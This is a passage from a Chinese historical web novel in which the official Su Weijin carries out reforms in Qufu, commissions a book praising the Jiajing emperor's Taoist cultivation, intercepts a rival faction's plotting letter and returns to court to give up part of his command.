车里,孔闻达摘掉了假胡子,露出一张五十来岁、精明干练的脸。
他从怀中取出一枚铜牌,上面刻着火焰缠剑的图案。
“苏惟瑾……动作比预想的快啊。”
他喃喃自语。
“可惜,你查到的,只是冰山一角。”
他掀开车帘,望着漫天风雪,嘴角浮起一丝冷笑。
“三月七,刘公岛……”
“但愿你们赶得上。”
马车消失在风雪中。
公审大获全胜,孔府权力更迭完成。
但神秘账房孔闻达的消失,暴露出更深的水——他究竟是谁的人?
那个“火焰缠剑”标记,与刘公岛、登州水师有何关联?
而苏惟瑾突然决定提前回京,是否预感到了什么?
京城里,严党在得知孔府倒台后,又会如何反扑?
更关键的是,账册上那个“甲午、三七、子时、刘公岛”的暗记,距离现在只剩两个多月……
那场暗处谋划的交易,到底是什么?
第391章 新规立曲阜,瑾收学子心
腊月二十九,曲阜城跟过年似的。
不对,就是过年——明儿就是除夕了。
可今年这年味,跟往年不一样。
往年这时候,百姓都缩在家里发愁:孔府的“年敬”银子还没凑齐,祭田的“加租”通知又下来了,这个年怎么过?
今年不一样。
一大早,孔府大门外就贴出了告示,不是红纸,是整张的宣纸,用端正的楷书写着三条新规。
识字的不识字的都围着看,识字的大声念:
“一、即日起,孔府清丈所有田产。凡强占、低价强买之田,原主可持旧契至县衙登记,经核实后原田归还,另补三年收成作赔。”
念到这儿,人群炸了。
“真还田?”
“还补三年收成?我的老天爷……”
“二、设‘曲阜助学基金’,每年拨银五千两,资助贫寒学子读书科举。凡曲阜籍贯、家贫好学、县学具保者,皆可申请。”
这下读书人激动了。
几个穿着补丁长衫的秀才挤到前面,眼珠子都快贴告示上了。
“三、开办‘格物学堂曲阜分堂’,授算学、地理、农学、水利等实学。束脩全免,学成考核优异者,可荐至府县为吏,或入月港海防司任职。”
这条让老百姓有点懵。
算学?
地理?
听着不像正经学问啊。
可那句“荐至府县为吏”,实实在在戳中了心窝子——当官啊!
哪怕是胥吏,那也是吃皇粮的!
告示最后盖着两个大印:一个是新任衍圣公孔闻韶的私印,一个是靖海伯苏惟瑾的官印。
“是苏伯爷的主意!”
“青天大老爷啊!”
有人当场跪下,朝着县衙方向磕头。
这动静传开,没半个时辰,孔府门外就跪了一片人。
有老农,有秀才,有拖家带口的佃户。
孔府里,苏惟瑾正和孔闻韶喝茶。
“伯爷,”孔闻韶搓着手,既兴奋又不安,“这三条……是不是太急了?”
“族里那些老辈,怕是会有闲话。”
“有闲话就让他们说。”苏惟瑾吹了吹茶沫,“你现在是衍圣公,圣旨虽然还没下,但已经是铁板钉钉。”
“他们不服,让他们来找我。”
这话说得平淡,可底气十足。
孔闻韶想起三天前公堂上那场面,打了个激灵——找苏惟瑾?
那不是找死吗?
“助学基金的钱,从哪出?”孔闻韶换了个实际问题,“孔府账上……其实没多少现银。”
“查抄旧孔府的那些非法所得,不是充公了吗?”苏惟瑾放下茶盏,“我算过,光现银就有八万两。”
“拨一万两做启动资金,剩下的,让云裳阁在曲阜开个分号,经营生丝、药材,利润的三成归基金——这叫以商养学。”
孔闻韶听得一愣一愣的。
以商养学?
这思路他闻所未闻。
“至于格物学堂,”苏惟瑾继续道,“教员从月港调,教材我亲自编。”
“第一批招一百人,年龄放宽到三十岁,不拘功名,只要识字、肯学就行。”
“可这算学、地理……”孔闻韶犹豫,“科举不考这些啊。”
“科举是不考,但天下需要。”苏惟瑾看着他,“你想想,若曲阜能出一批懂水利的,山东年年旱涝,是不是能少死些人?”
“出一批懂农学的,一亩地能不能多收三斗粮?”
“出一批懂算学的,各县的赋税账目,是不是能少些糊涂账?”
一连串反问,问得孔闻韶哑口无言。
“读书为了什么?不只是为了中举当官,更是为了经世致用。”苏惟瑾起身走到窗前,望着外面跪拜的百姓,“孔圣人有教无类,咱们今天,就是践行圣人之教。”
孔闻韶肃然,深深一躬:“伯爷高见,闻韶受教。”
新政推行得比想象中顺利。
腊月三十这天,县衙门口排起了长队——都是来登记还田的。
孔闻韶亲自坐镇,苏惟瑾派了苏惟奇带人协助。
地契核对、丈量亩数、计算赔偿,**。
有个老汉领回自家十亩水田,外加三十两赔银,当场哭晕过去。
正月初三,曲阜县学里,助学基金发了第一笔钱。
二十个贫寒秀才,每人领了十两银子,够一年吃用。
领钱的秀才里,有个叫李慎的,二十八岁了还在考童生,家里老母卧病,全靠他抄书度日。
拿到银子时,他手抖得握不住,对着孔府方向磕了三个响头:“学生……学生若能中举,必效伯爷、公爷,泽被乡里!”
正月初六,格物学堂开课。
原以为没人来,结果第一天就来了二百多号人。
有十五六岁的少年,也有三四十岁的账房先生、店铺伙计。
教室不够用,临时征用了孔府的偏院。
苏惟瑾亲自上了第一堂课——算学。
他没讲什么高深理论,就讲怎么算田亩、怎么算粮税、怎么算利息。
从“鸡兔同笼”讲到“复利计算”,深入浅出。
那些原本觉得算学枯燥的人,听得眼睛发亮:原来这些玩意儿真有用!
课后,几十个学生围着他问问题。
苏惟瑾耐心解答,最后说:“学问不是用来炫耀的,是用来解决问题的。”
“你们今天学算学,明天可能就用它帮家里省下一笔冤枉税,帮村里理清一笔糊涂账——这就是功德。”
学生们记下了。
后来这话传出去,成了格物学堂的堂训。
正月初八,苏惟瑾抛出了真正的杀招。
他在孔府“诗礼堂”设宴,请了曲阜及周边州县有名的读书人——不一定是功名高的,但必须是学问扎实、笔头好的。
来了四十多人,济济一堂。
酒过三巡,苏惟瑾起身:“今日请诸位来,是有一件关乎儒学兴衰的大事,想与诸位共商。”
众人都放下筷子。
“诸位皆知,陛下近年来潜心修行,参悟天人之道。”苏惟瑾缓缓道,“然朝野之间,多有误解,以为陛下沉迷方术。”
“本伯以为,此乃大谬!”
他顿了顿,扫视全场:“陛下修的是‘圣王之道’,是以自身为鼎炉,炼天地正气,求的是‘内圣外王’之极致。”
“这与儒家‘修身齐家治国平天下’,有何不同?”
“不过是说法不同,本质一也!”
这话他在祭礼上说过,但今天说得更细。
“可天下人不理解啊。”苏惟瑾叹道,“为何?因为无人将此中道理,用儒家经典阐释清楚。”
“所以本伯想,该编一部书——一部从儒家角度,阐发陛下修行之道的书。”
“书名暂定《圣主修仙录》,或叫《天人感应精义》。”
堂内一片吸气声。
编书?
给皇帝修仙编书?
这、这太大胆了!
一个老秀才颤巍巍起身:“伯爷,这……这恐遭清流非议啊。”
“清流?”苏惟瑾笑了,“清流若真有见识,就该明白,这是将陛下修行纳入儒家正统的千载良机!”
“否则,任由方士曲解,才是儒门之耻!”
他走到老秀才面前:“老先生,您读了一辈子圣贤书,请问:《易经》‘天人合一’之说,《中庸》‘致中和’之论,《孟子》‘养浩然正气’之言——这些,难道不是修行?”
“难道非要打坐炼丹才算修行?”
老秀才张口结舌。
“本伯不是要诸位胡编乱造。”苏惟瑾转身面向众人,“而是要以扎实的考据、严谨的逻辑,从经典中挖掘出与陛下修行相合之处。”
“让天下人知道,陛下不是在胡闹,是在践行圣人之教!”
他抛出诱饵:“此事若成,参与编纂者,润笔费每人五百两。”
“书成之后,主笔三人,可荐入国子监;其余协编,皆录入‘天人感应研修院’,享朝廷津贴。”
五百两!
国子监!
堂内呼吸声粗重起来。
这些读书人,大多家境一般,五百两够一家人吃用十年。
国子监更是鲤鱼跳龙门——入了国子监,等于半只脚踏入官场。
“伯爷,”一个三十来岁的书生站起来,叫孙承宗,是济南府的举人,“晚生愿效犬马之劳!”
“晚生也愿!”
“算我一个!”
转眼间,二十多人表态。
剩下的要么还在犹豫,要么是思想实在转不过弯的老学究。
苏惟瑾不勉强,当场点了十二人,组成“天人感应研修院”核心编修组。
孙承宗为总纂,其余分工合作。
当天下午,研修院就在孔府辟了间静室,开始工作。
苏惟瑾亲自拟了大纲。
他把嘉靖那些“修仙”行为——比如烧丹炉炼“仙烟”、**观想、服用“仙丹”——全用儒家术语包装了一遍。
“烧丹炉”成了“以火炼金,取天地精华,仿《周易》‘革故鼎新’
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之意”。
“**观想”成了“澄心静虑,养浩然正气,合《大学》‘定静安虑得’之序”。
“服用仙丹”更绝——“服食天地精华,调和阴阳五行,应《中庸》‘致中和,天地位焉’之理”。
每一条,他都配上经典原文出处,甚至考据出历代大儒的类似说法。
比如朱熹就说过“存天理,灭人欲”,这不就是修行?
王阳明讲“知行合一”,知行如何合一?
不就是要在实践中修炼?
编修们看得目瞪口呆。
他们从未想过,经典还能这样解读!
但仔细一想,又觉得有理有据,挑不出毛病。
因为苏惟瑾用的全是正经经典,只是解读角度……过于清奇。
五天后,初稿完成。
苏惟瑾让人抄了五十份,分送曲阜各书院、县学,甚至茶馆酒肆也放了几份。
书名暂定《圣主修仙录·天人感应篇》。
效果立竿见影。
原本对皇帝修仙嗤之以鼻的读书人,看了这书,沉默了——人家引经据典,说得头头是道,你驳不倒啊。
普通百姓更简单:孔府的青天大老爷都说陛下修仙是对的,那肯定是对的!
**风向,悄无声息地转了。
正月十五,元宵节。
曲阜城办起了灯会,孔府出了五百两银子,在街上扎了条十丈长的龙灯。
百姓扶老携幼出来看灯,人人脸上带着笑。
苏惟瑾和孔闻韶站在孔府门楼上,看着下面熙攘的人群。
“伯爷,”孔闻韶感慨,“闻韶从未想过,曲阜能有今日景象。”
“这才刚开始。”苏惟瑾道,“等助学基金第一批学子中举,等格物学堂第一批学员学成,等《圣主修仙录》传遍天下——那时候,曲阜才是真正的儒学圣地。”
他忽然想起什么:“对了,那些年轻子弟,安置得如何?”
孔闻韶知道他说的是孔贞明那批人:“贞明等十二人,都进了研修院做编修。”
“剩下的,有的在助学基金帮忙,有的在格物学堂当助教。”
“都安分。”
“安分就好。”苏惟瑾点头,“告诉他们,好好干,前途无量。”
正说着,胡三匆匆上楼,附耳低语了几句。
苏惟瑾脸色微变,但很快恢复如常。
“公爷,我明日启程回京。”他对孔闻韶道,“曲阜这边,就交给你了。”
“记住那三条新政,务必落实。”
“若有难处,写信到京城云裳阁总号。”
“伯爷放心。”孔闻韶躬身。
当夜,苏惟瑾住处。
胡三禀报:“大人,京城密信,八百里加急送来的。”
信是陈芸娘写的,用的暗语。
苏惟瑾译出来,只有两句话:
“严嵩联络言官,欲劾伯爷‘擅权曲阜,动摇国本’。陛下前日服丹过量,呕血昏迷,幸鹤岑国师施救苏醒,然性情大变,已三日未朝。”
苏惟瑾放下信,走到窗前。
元宵的灯火映红半边天,欢声笑语随风传来。
可他知道,这祥和背后,风暴已经成形。
严党要反扑了。
皇帝的身体……也到关键时刻了。
他必须尽快回京。
“三爷,”他转身,“让惟奇准备,明日天一亮就走。”
“轻车简从,日夜兼程。”
“是!”
胡**下后,苏惟瑾从书箱底层翻出个锦囊,里面是那枚“火焰缠剑”的铜牌仿制品。
他摩挲着上面的纹路,眉头紧锁。
孔闻达消失前,到底在账册上留了什么信息?
刘公岛、三月七……
忽然,他脑中闪过一个念头。
如果那不只是走私记录呢?
如果……那是一场更大阴谋的时间地点呢?
他收起铜牌,吹熄了灯。
窗外,元宵灯火依旧辉煌。
可苏惟瑾知道,这光亮照不到的暗处,有些东西,正在蠢蠢欲动。
曲阜新政初显成效,民心归附。
但京城急报传来双重危机——严党反扑在即,嘉靖帝服药昏迷后性情大变。
更让人不安的是,苏惟瑾忽然意识到,孔闻达留下的“刘公岛、三月七”暗记,可能并非单纯的走私安排……
那会不会是一场针对海防、甚至针对他这个靖海伯的刺杀阴谋?
而元宵灯火下,曲阜城的祥和能持续多久?
明日返京路上,等待苏惟瑾的,又将是什么?
第392章 勋贵急串联,密信落瑾手
正月十八,京城。
成国公府的后花园暖阁里,地龙烧得旺,热得人额头冒汗。
可围坐着的七八个人,脸上却都挂着层寒霜。
成国公朱麟坐在主位,五十来岁的年纪,保养得宜,只是眼袋浮肿,显是这几天没睡好。
他端着茶盏,半晌没喝一口,眼神直勾勾盯着窗外那株腊梅——开得倒旺,可看着扎眼。
“人都到齐了。”
他放下茶盏,声音干涩。
左手边坐着严嵩、严世蕃父子。
严嵩今年五十七,升了礼部侍郎后,气色反而更好了些,脸上总挂着那副似笑非笑的表情。
严世蕃三十出头,长得像他爹,但眉眼更阴鸷,此刻正用指甲划着紫檀桌面,发出细微的“刺啦”声。
右手边是武安侯郑宏、定远伯陈永,还有几个二三流的勋贵,都是这些年被苏惟瑾整治过、或利益受损的。
“曲阜的消息,诸位都知道了?”
朱麟开门见山。
武安侯郑宏“啪”地一拍桌子:“岂能不知!”
“那苏惟瑾好大的胆子!”
“衍圣公啊!”
“那是圣人之后!”
“他说审就审,说废就废!”
“眼里还有王法吗?”
定远伯陈永阴阳怪气:“人家现在是什么?”
“靖海伯!”
“东南平倭、琉球纳贡、曲阜审圣——功高震主啊。”
“眼里有没有王法?”
“人家就是王法!”
这话说得诛心。
暖阁里顿时安静下来。
严世蕃冷笑一声:“陈伯爷这话,说对了一半。”
“苏惟瑾现在确实权势熏天,可要说他就是王法……”
他顿了顿,“那得问陛下答不答应。”
“陛下?”
郑宏啐了一口,“陛下现在被他那套‘仙烟修行’哄得团团转!”
“听说曲阜那边在编什么《圣主修仙录》,把陛下修仙说得跟圣人修行一个样——这马屁拍的,陛下能不高兴?”
严嵩终于开口,声音慢悠悠的:“高兴归高兴,可帝王心术……”
他捻着胡须,“最忌的,就是臣子势力太大。”
“苏惟瑾如今手握兵权、掌控财路、现在连天下读书人的喉舌都要掐住——诸位想想,陛下真能睡得安稳?”
这话点到要害。
朱麟眼睛一亮:“严侍郎的意思是……”
“双管齐下。”
严嵩放下茶盏,“一明一暗。”
“明面上,咱们上书**。”
“罪名我都想好了——‘擅权辱圣’、‘动摇国本’、‘私改祖制’。”
“他苏惟瑾在曲阜搞的那套‘新政’,哪条经过朝廷议准了?”
“哪条合乎祖制?”
“这就是把柄。”
严世蕃接话:“不止。”
“他编那《圣主修仙录》,看似拍马屁,实则是把陛下修仙定性为‘儒家修行’。”
“将来万一陛下修行出了岔子,或祥瑞不显了,责任算谁的?”
“算他苏惟瑾欺君罔上,误导圣听!”
父子俩一唱一和,把罪名罗织得滴水不漏。
陈永迟疑:“可这些……陛下未必信啊。”
“苏惟瑾刚立了大功,圣眷正隆。”
“所以要有暗招。”
严嵩眼中闪过一丝冷光,“宫中那边,咱们得下功夫。”
“陛下如今最信谁?”
“除了邵元节那些道士,就是贴身伺候的太监。”
“司礼监的曹德,跟我有些交情。”
“曹公公?”
朱麟皱眉,“他可是陛下跟前的红人,能听咱们的?”
“红人?”
严世蕃嗤笑,“再红也是阉人。”
“阉人最缺什么?”
“银子,还有身后名。”
“咱们给他银子,许他死后在老家修祠堂、立牌位——他能不动心?”
他继续道:“让曹德在陛下跟前,不经意地提几句——比如,‘苏伯爷能造祥瑞,能控仙烟,这般神通,若是用在正道上自然好,可万一……’”
“话不用说完,让陛下自己琢磨。”
暖阁里众人倒吸一口凉气。
这招太毒了。
不直接说苏惟瑾有异心,只提醒皇帝:苏惟瑾掌握着“制造祥瑞”的技术。
今天能造祥瑞讨你欢心,明天是不是也能造“凶兆”来恐吓你?
今天能用仙烟给你治病,明天是不是也能用毒烟……
帝王多疑,这根刺一旦种下,迟早会发芽。
朱麟抚掌:“妙!”
“严侍郎此计,真乃老成谋国!”
武安侯郑宏却担心:“可苏惟瑾也不是吃素的。”
“他那些耳目,无孔不入。”
“万一被他察觉……”
“察觉?”
严世蕃从怀里掏出张纸条,“这是我从山东布政使司抄来的——苏惟瑾在曲阜雇了十二个编修,每人月银二十两,管吃管住。”
“你们猜,这些人里,有几个是咱们的人?”
众人一愣。
“两个。”
严世蕃竖起两根手指,“有一个,还是孔府旧人,对苏惟瑾恨之入骨。”
“他编的每一句,写的每一字,咱们都能知道。”
这下连严嵩都有些意外,看了儿子一眼,眼中露出赞许。
计议已定,众人开始分工。
朱麟负责联络其他勋贵,**;
严嵩父子负责朝中文官和宫中太监;
郑宏、陈永等人则动用军中旧部,散布流言——就说苏惟瑾在东南拥兵自重,有割据之意。
“最后一步,”
严世蕃从袖中取出封信,“这封信,是我写给曹德公公的。”
“上面详细写了如何进言、何时进言、说到什么分寸。”
“今夜子时,会有人送进宫。”
信封装在普通黄皮信封里,没署名,但封口处盖了个不起眼的私印——这是严家与曹德约定的暗记。
“务必小心。”
朱麟叮嘱,“苏惟瑾手下那个胡三,江湖路子野,京城三教九流都有他的人。”
“放心。”
严世蕃自信满满,“送信的是曹德的外甥,在五城兵马司当差,每晚都要进宫换防。”
“信藏在腰牌夹层里,神仙也查不出来。”
众人又商议了些细节,直到戌时末才散。
严嵩父子最后离开。
出暖阁时,严嵩低声问儿子:“宫里头,真只有曹德一条线?”
严世蕃扶着他上马车,轻笑:“爹放心,儿子这些年,银子不是白撒的。”
“司礼监、御马监、甚至尚膳监,都有咱们的人。”
“曹德不过是摆在明面上的棋子罢了。”
马车驶离成国公府,消失在夜色中。
同一时刻,京城南郊的官道上。
苏惟瑾的马车正在疾驰。
正月里的北风刮得车帘呼呼响,车里点了炭盆,还是冷。
“大人,照这个速度,后天晌午就能到京。”
苏惟奇搓着手说。
苏惟瑾靠在车壁上闭目养神。
从曲阜出来已经七天,日夜兼程,人困马乏。
但他不敢停——芸娘那封信里的“陛下性情大变”,让他心里不踏实。
忽然,马车一个急停。
胡三在外头低喝:“什么人?”
“三爷,是我,小六子!”
一个急促的声音。
胡三掀开车帘,外头是个二十来岁的精瘦汉子,冻得鼻涕直流,正是漕帮在京城的情报头目彭小六。
“大人,”
胡三回头,“小六子有急报。”
苏惟瑾睁开眼:“上来。”
彭小六钻进车厢,顾不上行礼,从怀里掏出封信:“半个时辰前,成国公府后门出来个人,骑快马往城里赶。”
“咱们的人跟了一路,见他在北安门附近,把信转交给一个穿五城兵马司服饰的人。”
“那人拿了信,直接进宫了。”
“信呢?”
苏惟瑾问。
彭小六咧嘴一笑,又掏出另一封信:“那小子走到金水桥时‘不小心’摔了一跤,腰牌掉进河里。”
“他急着捞腰牌,怀里这封信就‘恰好’被水冲到了下游——下游有咱们的人候着呢。”
苏惟瑾接过信。
信封湿了大半,但字迹还清晰。
他拆开,快速浏览。
越看,眼神越冷。
“好一个‘双管齐下’。”
他冷笑,“**我擅权辱圣,动摇国本;再让太监在陛下跟前下蛆——说我既能造祥瑞,就能造凶兆。”
“严世蕃啊严世蕃,你这脑子,不用在正道上可惜
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了。”
胡三骂了声娘:“大人,咱们现在怎么办?”
“进宫把那曹德揪出来?”
“不急。”
苏惟瑾把信折好,“这封信,是严世蕃亲笔?”
“是。”
“咱们核对过笔迹,跟他以往的书信一样。”
“那就好。”
苏惟瑾眼中寒光一闪,“有了这个,曹德就是咱们的人了。”
胡三一愣:“大人是说……”
“他能被严家收买,就能被咱们收买。”
苏惟瑾淡淡道,“而且,是被咱们捏着把柄收买。”
“到时候让他在陛下跟前,把严家怎么教他进言,一五一十说出来——你说,陛下会怎么想?”
胡三倒吸一口凉气:“那严家就完了!”
“完不完,看他们识不识相。”
苏惟瑾把信收进怀中,“小六子,宫里那个接信的,查清楚是谁了吗?”
“查清了。”
“叫赵禄,五城兵马司的队正,确实是曹德的外甥。”
“他每月逢五、逢十进宫换防,每次都会偷偷给曹德带东西——有时是信,有时是金银。”
“继续盯着。”
苏惟瑾吩咐,“另外,严世蕃说在曲阜编修里安插了两个人,查出来是谁。”
“是!”
彭小六下了车,消失在夜色中。
马车继续前行。
苏惟瑾靠着车壁,脑中飞快盘算。
严党的反扑在他意料之中,但没想到动作这么快、这么狠。
那招“提醒陛下警惕祥瑞”,确实毒辣——嘉靖本来就多疑,这么一点拨,后果不堪设想。
好在,信截下来了。
而且……
他突然想到什么,问胡三:“三爷,刚才小六子说,送信的是严世蕃的外甥?”
“是,叫赵禄。”
“严世蕃的妹妹,嫁给了谁?”
胡三想了想:“好像是个姓赵的千户,早**。”
“怎么?”
苏惟瑾没回答,脑中超频模式启动,调取所有关于严家的信息。
严世蕃确实有个妹妹,嫁给了京卫指挥使司的一个赵姓千户,千户死后,留下个儿子……
“赵禄……”
他喃喃道,“今年该有二十五了吧?”
“在五城兵马司当队正……”
忽然,他睁大眼睛。
“调头!”
他喝道,“不去京城了,去通州!”
苏惟奇一愣:“大人,通州?”
“快!”
苏惟瑾脸色凝重,“如果我猜得不错……通州码头,今夜要出事!”
马车在官道上急转,碾起一片雪泥。
而此时此刻,通州码头。
一艘从南边来的粮船刚刚靠岸。
船老大正指挥卸货,忽然一队官兵冲上船,为首的是个穿着千户服色的军官。
“查私货!”
“所有人下船!”
船老大赔笑:“军爷,咱们运的是正经漕粮,有批文的……”
“少废话!”
千户一脚踹翻个麻袋,白花花的大米洒了一地。
他蹲下,从米堆里扒拉出个小木匣,打开——里面是几块黑乎乎的石头。
“这是什么?”
千户冷笑,“私运矿石!拿下!”
船老大脸色惨白:“这、这不是我们的……”
话没说完就被按住。
千户拿起一块石头,对着火光看了看,大声道:“这是铁矿石!”
“私运铁矿石出关,形同资敌!”
“船扣下,人押走!”
码头上乱成一团。
没人注意到,那千户转身时,对身后一个亲兵低声说了句:“去禀报严公子,货截下了。”
“苏惟瑾的人,一个跑不了。”
亲兵点头,翻身上马,往京城方向疾驰。
雪,又下起来了。
密信截获,严党阴谋曝光。
但苏惟瑾为何突然转道通州?
那艘被扣的粮船运的到底是什么?
真是铁矿石,还是另有玄机?
更蹊跷的是,严世蕃安插在曲阜编修中的那两个内应,究竟是谁?
而宫中太监曹德,在发现密信丢失后,又会作何反应?
风暴的中心,正从曲阜迅速移向京城,而通州码头上那场突如其来的搜查,似乎揭开了一个更大阴谋的冰山一角……
第393章 瑾示弱回京,帝心暂安抚
正月二十,京城的雪还没化干净。
苏惟瑾的马车从朝阳门进城时,天刚蒙蒙亮。守门的兵丁打着哈欠,见是辆普通的青帷车,本想拦下盘查,车帘掀开一角,露出块黑底金字的牌子——“靖海伯”。
兵丁手一哆嗦,赶紧退后:“放、放行!”
马车没去靖海伯府,直奔皇城。到了东华门外,苏惟瑾下车,一身半旧的青绸直裰,外罩灰鼠皮坎肩,打扮得像个寻常读书人。只带了胡三和苏惟奇,两人也都换了便装。
黄锦早候在那儿,见这阵仗愣了下:“伯爷,您这是……”
“烦请黄公公通禀,臣苏惟瑾回京复命。”苏惟瑾拱手,语气平和。
黄锦不敢怠慢,小跑着进去。不多时回来:“陛下在西苑,召伯爷觐见。”
西苑这地方,苏惟瑾不常来。绕过太液池,穿过一片梅林,便见一座精巧的殿阁,匾额上题着“澄心堂”三字,是嘉靖的御笔。殿前空地上摆着个紫铜丹炉,正冒着袅袅青烟,味道甜腻中带着药香——是“仙烟”。
两个小太监跪在炉前,小心地添着炭。殿门虚掩,里面传出轻微的咳嗽声。
“臣苏惟瑾,恭请圣安。”苏惟瑾在门外跪倒。
里头静了片刻,才传来懒洋洋的声音:“进。”
推门进去,殿内光线昏暗。窗户糊着厚厚的桑皮纸,只透进些许天光。嘉靖盘坐在蒲团上,身穿杏黄道袍,头发披散着,脸色在烟雾中显得有些苍白。他面前摆着个小香炉,正燃着线香。
“爱卿回来了。”嘉靖抬眼看了看他,眼神有些涣散,“平身吧。赐座。”
苏惟瑾谢恩,在旁边的绣墩上坐了半个屁股。超频大脑瞬间扫描殿内环境——嘉靖眼白有血丝,呼吸略促,手指微颤,是药物反应;香炉里烧的除了檀香,还有微量**壳;墙角侍立的老太监,眼观鼻鼻观心,但耳朵微微动着,在听。
“东南的事,办得不错。”嘉靖拿起个玉如意,无意识地摩挲着,“琉球纳贡,倭寇平息,海疆靖宁。朕心甚慰。”
“此皆陛下天威所致。”苏惟瑾伏身,“臣在东南,每每遇险,皆默诵陛下圣号,便得庇佑。琉球王归降时言,闻大明皇帝乃真龙转世,故不敢不臣。此非臣之功,实乃陛下德被四海。”
这话说得诚恳,嘉靖嘴角扯出点笑意:“爱卿辛苦。听说在曲阜……还办了件大事?”
来了。苏惟瑾心头一紧,面上不动声色:“臣奉旨巡查文教,至曲阜时,见民怨沸腾。查实衍圣公孔闻韶(北宗)强占民田、草菅人命、甚至私通倭寇。臣不敢隐瞒,依律公审。现案犯已押解进京,听候陛下发落。”
他说得简略,但关键点一个没漏。
嘉靖“嗯”了一声,没立即表态,反而问:“听说你还编了本书?”
“是。”苏惟瑾从怀中取出《圣主修仙录》初稿,双手奉上,“臣在曲阜,见天下儒生对陛下修行多有误解,故召集才学之士,从儒家经典中阐发陛下修行真义。此书初成,请陛下御览。”
黄锦接过,呈给嘉靖。
嘉靖漫不经心地翻了几页,起初还懒洋洋的,看着看着,眼睛亮了。他看到那句“陛下**观想,乃合《大学》‘定静安虑得’之序”,嘴角扬起;看到“服食仙丹,调和阴阳,应《中庸》‘致中和’之理”,手指在页面上点了点;看到最后将他的修行与尧舜禹汤并列,直接笑出了声。
“好!说得好!”嘉靖坐直了身子,“爱卿真知朕心!那些腐儒,整天说什么‘子不语怪力乱神’,却不知朕修的是圣王大道!”
他兴致起来,连翻十几页,越看越满意:“这书要广为刊印!让天下读书人都看看,朕不是在胡闹,是在践行圣人之教!”
“陛下圣明。”苏惟瑾适时道,“曲阜孔府经此整顿,已焕然一新。新任衍圣公孔闻韶(南宗)深明大义,特上效忠奏疏,愿率天下儒生,为陛下修行正名。”
他又呈上奏疏。嘉靖看了,更是高兴:“孔府能明此理,儒学复兴有望!黄锦,拟旨——正式册封孔闻韶为衍圣公,赐**袍玉带,岁禄加二百石。”
“奴婢遵旨。”黄锦躬身。
嘉靖心情大好,看苏惟瑾的眼神都柔和了许多。但帝王心术,终究不会只停留在表面。他话锋一转:“爱卿此次在外半年,京中军务,可有想法?”
试探来了。
苏惟瑾起身,跪倒:“臣正要奏请。臣久离京畿,于京营军务已然生疏。福建水师虎符在此——”他从怀中取出半枚铜虎符,双手举过头顶,“请陛下收回,另选良将统领。”
他又道:“虎贲营乃京营精锐,臣虽一手组建,然离京日久,恐难胜任。请陛下另择大将掌管,臣愿从旁辅佐。”
殿内安静下来。
黄锦屏住呼吸。老太监耳朵动得更厉害了。
嘉靖盯着苏惟瑾,眼神复杂。他料到苏惟瑾会交还部分权力,但没想到交得这么彻底——福建水师是实权,虎贲营是嫡系,这两样都交,是真忠心,还是以退为进?
良久,嘉靖忽然笑了:“爱卿过谦了。”
他起身,走到苏惟瑾面前,亲手扶起:“福建水师……你既交还,朕便收了。但虎贲营不同——那是爱卿一手带出的精兵,换个人,能管好吗?将士们能服吗?”
他拍拍苏惟瑾的肩膀:“爱卿既回,便继续管着吧。朕信你。”
这话听着是信任,实则毒辣。若苏惟瑾真要交权,此刻就该坚持;若只是做样子,便会顺水推舟接受。无论哪种,嘉靖都能看出他的真实想法。
苏惟瑾心里门清。他抬头,眼中适时露出感动之色:“陛下信重,臣……臣惶恐。只是臣年轻资浅,恐难服众……”
“年轻?”嘉靖大笑,“甘罗十二为相,霍去病十八封侯,爱卿今年二十有五,正当其时!此事不必再议,虎贲营仍归你统领。另外——”
他沉吟片刻:“你在东南整饬海防有功,朕再加你‘太子少保’衔,仍入阁办事。”
太子少保!从一品荣衔!虽然是个虚职,但代表皇帝的态度。
苏惟瑾再次跪倒:“臣,谢主隆恩!”
“起来吧。”嘉靖坐回蒲团,似乎有些累了,摆摆手,“朕乏了,爱卿先退下吧。对了,那本书……加紧刊印,朕要早日看到成书。”
“臣遵旨。”
退出澄心堂,走出西苑,苏惟瑾才暗暗松了口气。
后背的衣衫,已经湿了一片。
“公子,”胡三低声问,“成了?”
“暂时成了。”苏惟瑾上了马车,闭目养神,“陛下收了我交的兵权,却让我继续管虎贲营——这是既敲打,又安抚。太子少保的衔儿,是补偿,也是提醒:我能给你荣衔,也能收回去。”
“那咱们……”
“按计划行事。”苏惟瑾睁开眼,“先回府,见过夫人她们。然后……该见见曹德公公了。”
马车驶向靖海伯府。
而澄心堂内,嘉靖脸上的笑意渐渐淡去。
“黄锦,”他忽然开口,“你说,苏惟瑾是真忠心,还是做样子?”
黄锦吓得跪倒:“奴婢……奴婢愚钝,不敢妄测。”
嘉靖没看他,自顾自道:“交还虎符是真心的。福建水师离京城太远,他管不着,不如交出来表忠心。但虎贲营……他料定朕不会收。”
他冷笑一声:“这小子,聪明。知道朕忌惮他兵权过重,主动交一部分,留一部分——交的那部分无关痛痒,留的那部分才是根本。”
黄锦不敢接话。
“不过,”嘉靖话锋一转,“他编的那本书,倒是真合朕意。孔府那边……也处理得妥当。是个能干事的。”
他站起身,走到窗前,望着外面飘散的仙烟:“这样的人,能用,但要防着。去,告诉陆炳,锦衣卫最近多盯着点靖海伯府——不必太紧,但也别太松。”
“奴婢明白。”
嘉靖又咳嗽了几声,从怀中取出个小瓷瓶,倒出粒红色药丸吞了。片刻后,脸色泛起不正常的潮红,眼神又变得迷离。
他喃喃自语:“修仙……修仙……朕一定要修成……”
黄锦低头退下,心中叹息。
这位陛下,越来越离不开那些丹药了。
---
靖海伯府。
苏惟瑾刚进大门,就看见陈芸娘领着赵文萱、王雪茹、沈香君,还有抱着孩子的奶娘,都在前院等着。
“夫君!”陈芸娘眼眶红了。
苏惟瑾快步上前,握住她的手:“我回来了。”
赵文萱福身:“伯爷一路辛苦。”
王雪茹直接多了,上下打量他:“瘦了!在外头没吃好吧?”
沈香君抿嘴笑:“姐姐们日夜念叨,可把伯爷盼回来了。”
苏惟瑾一一应过,从奶娘怀里接过女儿安宁。小丫头一岁多了,睁着乌溜溜的眼睛看他,忽然咧嘴笑了,含糊地喊:“爹……”
苏惟瑾心头一暖,亲了亲她的小脸。
“都进去吧,外头冷。”他揽着陈芸娘往里走。
一家人团聚,自然有许
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多话要说。晚膳摆了一桌,都是苏惟瑾爱吃的菜。席间说起这半年的经历,女眷们听得时而紧张,时而欢笑。
饭后,苏惟瑾在书房见了苏惟奇和胡三。
“通州那边,查清楚了?”他问。
胡三点头:“查清了。那艘粮船是云裳阁从江南运来的,船上确实有铁矿石——但不是走私,是给工部军器局送的样品。严世蕃的人故意栽赃,想扣咱们一个‘私运军资’的罪名。”
